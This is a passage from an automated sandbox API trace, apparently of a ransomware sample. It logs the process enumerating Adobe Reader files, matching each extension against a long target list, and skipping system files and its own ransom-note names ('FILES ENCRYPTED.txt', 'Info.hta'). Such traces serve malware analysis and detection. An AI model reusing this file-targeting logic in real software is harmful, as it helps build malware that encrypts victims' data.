(lpString1=".dtd", lpString2="s.js") returned -1 [0266.061] lstrlenW (lpString=".dwg") returned 4 [0266.061] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".dwt") returned 4 [0266.062] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".dx") returned 3 [0266.062] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.062] lstrlenW (lpString=".dxf") returned 4 [0266.062] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".edml") returned 5 [0266.062] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.062] lstrlenW (lpString=".efd") returned 4 [0266.062] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".elf") returned 4 [0266.062] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".emf") returned 4 [0266.062] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".emz") returned 4 [0266.062] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".epf") returned 4 [0266.062] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".eps") returned 4 [0266.062] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".epsf") returned 5 [0266.062] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.062] lstrlenW (lpString=".epsp") returned 5 [0266.062] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.062] lstrlenW (lpString=".erf") returned 4 [0266.062] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.062] lstrlenW (lpString=".exr") returned 4 [0266.063] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.063] lstrlenW (lpString=".f4v") returned 4 [0266.063] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.063] lstrlenW (lpString=".fido") returned 5 [0266.063] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.063] lstrlenW (lpString=".flm") returned 4 [0266.063] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.063] lstrlenW (lpString=".flv") returned 4 [0266.063] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.063] lstrlenW (lpString=".frm") returned 4 [0266.063] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.063] lstrlenW (lpString=".fxg") returned 4 [0266.063] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.063] lstrlenW (lpString=".geo") returned 4 [0266.063] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.063] lstrlenW (lpString=".gif") returned 4 [0266.063] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.063] lstrlenW (lpString=".grs") returned 4 [0266.063] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.063] lstrlenW (lpString=".gz") returned 3 [0266.063] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.063] lstrlenW (lpString=".h") returned 2 [0266.063] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.064] lstrlenW (lpString=".hdr") returned 4 [0266.064] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".hpp") returned 4 [0266.064] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".hta") returned 4 [0266.064] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".htc") returned 4 [0266.064] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".htm") returned 4 [0266.064] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".html") returned 5 [0266.064] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.064] lstrlenW (lpString=".icb") returned 4 [0266.064] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".ics") returned 4 [0266.064] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".iff") returned 4 [0266.064] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".inc") returned 4 [0266.064] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".indd") returned 5 [0266.064] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.064] lstrlenW (lpString=".ini") returned 4 [0266.064] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.064] lstrlenW (lpString=".iqy") returned 4 [0266.065] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.065] lstrlenW (lpString=".j2c") returned 4 [0266.065] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.065] lstrlenW (lpString=".j2k") returned 4 [0266.065] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.065] lstrlenW (lpString=".java") returned 5 [0266.065] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.065] lstrlenW (lpString=".jp2") returned 4 [0266.065] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.065] lstrlenW (lpString=".jpc") returned 4 [0266.065] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.065] lstrlenW (lpString=".jpe") returned 4 [0266.065] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.065] lstrlenW (lpString=".jpeg") returned 5 [0266.065] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.065] lstrlenW (lpString=".jpf") returned 4 [0266.065] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.065] lstrlenW (lpString=".jpg") returned 4 [0266.065] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.065] lstrlenW (lpString=".jpx") returned 4 [0266.065] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.065] lstrlenW (lpString=".js") returned 3 [0266.065] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.066] lstrlenW (lpString="ui-strings.js") returned 13 [0266.066] lstrlenW (lpString=".love$") returned 6 [0266.066] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0266.066] lstrlenW (lpString="ui-strings.js") returned 13 [0266.066] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0266.066] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0266.066] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0266.066] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0266.066] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0266.066] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0266.066] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0266.066] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0266.066] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js") returned 120 [0266.066] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.066] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0266.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0266.067] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il") returned 106 [0266.067] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il") returned 1 [0266.067] lstrlenW (lpString="en-il") returned 5 [0266.067] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-il") returned -1 [0266.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.067] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il") returned 106 [0266.067] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0266.068] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.068] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.068] lstrlenW (lpString="ui-strings.js") returned 13 [0266.068] lstrlenW (lpString=".1cd") returned 4 [0266.068] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.068] lstrlenW (lpString=".3ds") returned 4 [0266.068] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.068] lstrlenW (lpString=".3fr") returned 4 [0266.068] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.068] lstrlenW (lpString=".3g2") returned 4 [0266.068] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.068] lstrlenW (lpString=".3gp") returned 4 [0266.068] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.068] lstrlenW (lpString=".7z") returned 3 [0266.068] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.068] lstrlenW (lpString=".accda") returned 6 [0266.068] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.068] lstrlenW (lpString=".accdb") returned 6 [0266.068] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.068] lstrlenW (lpString=".accdc") returned 6 [0266.068] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.068] lstrlenW (lpString=".accde") returned 6 [0266.069] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.069] lstrlenW (lpString=".accdt") returned 6 [0266.069] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.069] lstrlenW (lpString=".accdw") returned 6 [0266.069] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.069] lstrlenW (lpString=".adb") returned 4 [0266.069] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.070] lstrlenW (lpString=".adp") returned 4 [0266.070] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.070] lstrlenW (lpString=".ai") returned 3 [0266.070] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.070] lstrlenW (lpString=".ai3") returned 4 [0266.070] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.070] lstrlenW (lpString=".ai4") returned 4 [0266.070] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.070] lstrlenW (lpString=".ai5") returned 4 [0266.070] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.070] lstrlenW (lpString=".ai6") returned 4 [0266.070] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.071] lstrlenW (lpString=".ai7") returned 4 [0266.071] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.071] lstrlenW (lpString=".ai8") returned 4 [0266.071] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.071] lstrlenW (lpString=".anim") returned 5 [0266.071] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.071] lstrlenW (lpString=".arw") returned 4 [0266.071] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.071] lstrlenW (lpString=".as") returned 3 [0266.071] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.071] lstrlenW (lpString=".asa") returned 4 [0266.071] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.071] lstrlenW (lpString=".asc") returned 4 [0266.071] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.071] lstrlenW (lpString=".ascx") returned 5 [0266.071] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.071] lstrlenW (lpString=".asm") returned 4 [0266.071] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.071] lstrlenW (lpString=".asmx") returned 5 [0266.071] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.071] lstrlenW (lpString=".asp") returned 4 [0266.071] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.071] lstrlenW (lpString=".aspx") returned 5 [0266.071] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.071] lstrlenW (lpString=".asr") returned 4 [0266.072] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.072] lstrlenW (lpString=".asx") returned 4 [0266.072] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.072] lstrlenW (lpString=".avi") returned 4 [0266.072] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.072] lstrlenW (lpString=".avs") returned 4 [0266.072] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.072] lstrlenW (lpString=".backup") returned 7 [0266.072] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.072] lstrlenW (lpString=".bak") returned 4 [0266.072] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.072] lstrlenW (lpString=".bay") returned 4 [0266.072] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.072] lstrlenW (lpString=".bd") returned 3 [0266.072] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.072] lstrlenW (lpString=".bin") returned 4 [0266.072] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.072] lstrlenW (lpString=".bmp") returned 4 [0266.072] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.072] lstrlenW (lpString=".bz2") returned 4 [0266.072] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.072] lstrlenW (lpString=".c") returned 2 [0266.072] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.072] lstrlenW (lpString=".cdr") returned 4 [0266.073] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.073] lstrlenW (lpString=".cer") returned 4 [0266.073] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.073] lstrlenW (lpString=".cf") returned 3 [0266.073] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.073] lstrlenW (lpString=".cfc") returned 4 [0266.073] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.073] lstrlenW (lpString=".cfm") returned 4 [0266.073] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.073] lstrlenW (lpString=".cfml") returned 5 [0266.073] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.073] lstrlenW (lpString=".cfu") returned 4 [0266.073] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.073] lstrlenW (lpString=".chm") returned 4 [0266.073] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.073] lstrlenW (lpString=".cin") returned 4 [0266.073] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.073] lstrlenW (lpString=".class") returned 6 [0266.073] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.073] lstrlenW (lpString=".clx") returned 4 [0266.073] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.073] lstrlenW (lpString=".config") returned 7 [0266.073] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.073] lstrlenW (lpString=".cpp") returned 4 [0266.074] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".cr2") returned 4 [0266.074] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".crt") returned 4 [0266.074] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".crw") returned 4 [0266.074] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".cs") returned 3 [0266.074] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.074] lstrlenW (lpString=".css") returned 4 [0266.074] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".csv") returned 4 [0266.074] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".cub") returned 4 [0266.074] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".dae") returned 4 [0266.074] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".dat") returned 4 [0266.074] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".db") returned 3 [0266.074] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.074] lstrlenW (lpString=".dbf") returned 4 [0266.074] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.074] lstrlenW (lpString=".dbx") returned 4 [0266.074] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".dc3") returned 4 [0266.075] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".dcm") returned 4 [0266.075] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".dcr") returned 4 [0266.075] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".der") returned 4 [0266.075] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".dib") returned 4 [0266.075] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".dic") returned 4 [0266.075] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".dif") returned 4 [0266.075] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".divx") returned 5 [0266.075] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.075] lstrlenW (lpString=".djvu") returned 5 [0266.075] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.075] lstrlenW (lpString=".dng") returned 4 [0266.075] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".doc") returned 4 [0266.075] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.075] lstrlenW (lpString=".docm") returned 5 [0266.075] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.075] lstrlenW (lpString=".docx") returned 5 [0266.075] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.076] lstrlenW (lpString=".dot") returned 4 [0266.076] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.076] lstrlenW (lpString=".dotm") returned 5 [0266.076] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.076] lstrlenW (lpString=".dotx") returned 5 [0266.076] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.076] lstrlenW (lpString=".dpx") returned 4 [0266.076] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.076] lstrlenW (lpString=".dqy") returned 4 [0266.076] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.076] lstrlenW (lpString=".dsn") returned 4 [0266.076] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.076] lstrlenW (lpString=".dt") returned 3 [0266.076] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.076] lstrlenW (lpString=".dtd") returned 4 [0266.076] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.076] lstrlenW (lpString=".dwg") returned 4 [0266.076] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.076] lstrlenW (lpString=".dwt") returned 4 [0266.076] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.076] lstrlenW (lpString=".dx") returned 3 [0266.076] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.076] lstrlenW (lpString=".dxf") returned 4 [0266.076] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.076] lstrlenW (lpString=".edml") returned 5 [0266.076] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.077] lstrlenW (lpString=".efd") returned 4 [0266.077] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.077] lstrlenW (lpString=".elf") returned 4 [0266.077] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.077] lstrlenW (lpString=".emf") returned 4 [0266.077] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.077] lstrlenW (lpString=".emz") returned 4 [0266.077] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.077] lstrlenW (lpString=".epf") returned 4 [0266.077] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.077] lstrlenW (lpString=".eps") returned 4 [0266.077] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.077] lstrlenW (lpString=".epsf") returned 5 [0266.077] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.077] lstrlenW (lpString=".epsp") returned 5 [0266.077] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.077] lstrlenW (lpString=".erf") returned 4 [0266.077] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.077] lstrlenW (lpString=".exr") returned 4 [0266.077] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".f4v") returned 4 [0266.078] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".fido") returned 5 [0266.078] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.078] lstrlenW (lpString=".flm") returned 4 [0266.078] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".flv") returned 4 [0266.078] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".frm") returned 4 [0266.078] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".fxg") returned 4 [0266.078] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".geo") returned 4 [0266.078] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".gif") returned 4 [0266.078] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".grs") returned 4 [0266.078] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".gz") returned 3 [0266.078] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.078] lstrlenW (lpString=".h") returned 2 [0266.078] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.078] lstrlenW (lpString=".hdr") returned 4 [0266.078] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.078] lstrlenW (lpString=".hpp") returned 4 [0266.079] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.079] lstrlenW (lpString=".hta") returned 4 [0266.079] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.079] lstrlenW (lpString=".htc") returned 4 [0266.079] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.079] lstrlenW (lpString=".htm") returned 4 [0266.079] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.079] lstrlenW (lpString=".html") returned 5 [0266.079] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.079] lstrlenW (lpString=".icb") returned 4 [0266.079] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.079] lstrlenW (lpString=".ics") returned 4 [0266.079] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.079] lstrlenW (lpString=".iff") returned 4 [0266.079] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.079] lstrlenW (lpString=".inc") returned 4 [0266.079] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.079] lstrlenW (lpString=".indd") returned 5 [0266.079] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.079] lstrlenW (lpString=".ini") returned 4 [0266.080] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".iqy") returned 4 [0266.080] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".j2c") returned 4 [0266.080] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".j2k") returned 4 [0266.080] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".java") returned 5 [0266.080] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.080] lstrlenW (lpString=".jp2") returned 4 [0266.080] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".jpc") returned 4 [0266.080] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".jpe") returned 4 [0266.080] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".jpeg") returned 5 [0266.080] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.080] lstrlenW (lpString=".jpf") returned 4 [0266.080] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".jpg") returned 4 [0266.080] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".jpx") returned 4 